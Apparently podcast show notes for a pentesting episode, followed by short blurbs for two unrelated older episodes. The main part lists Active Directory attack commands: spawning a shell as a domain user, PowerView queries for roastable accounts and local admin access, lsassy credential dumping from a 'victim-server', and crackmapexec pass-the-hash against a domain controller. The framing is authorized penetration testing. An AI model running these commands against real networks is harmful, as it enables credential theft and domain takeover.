7MS #457: Tales of Internal Network Pentest Pwnage - Part 25

Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence:

  • Get a cmd.exe spun up in the context of your AD user account:
runas /netonly /user:samplecompany\billybob "C:\windows\system32\cmd.exe"

Then get some important info in PowerView:

  • Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win!

  • Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win!

  • Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access!

Once you know where you have local admin access, lsassy is your friend:

  • lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server

Did you get an admin's NTLM hash from this dump? Then do this:

  • crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED

(Pwn3d!) FTW!

7MS #38: OFFTOPIC – Health and Infosec (audio)

Every once in a while I thought it would be fun to go slightly off topic and talk about other stuff I’m interested in. This episode kind of has a tech twist though. I talk about how I use my iPhone and a few apps to stay at least a little bit in shape. 7MS…

I found a great bit of reading that walks you through the “plays” of hacking – enumeration, exploitation, post-exploitation, etc. It’s a great (and affordable) book called The Hacker Playbook. Cheggitowt! Download: 7MS #34: The Hacker Playbook (audio)
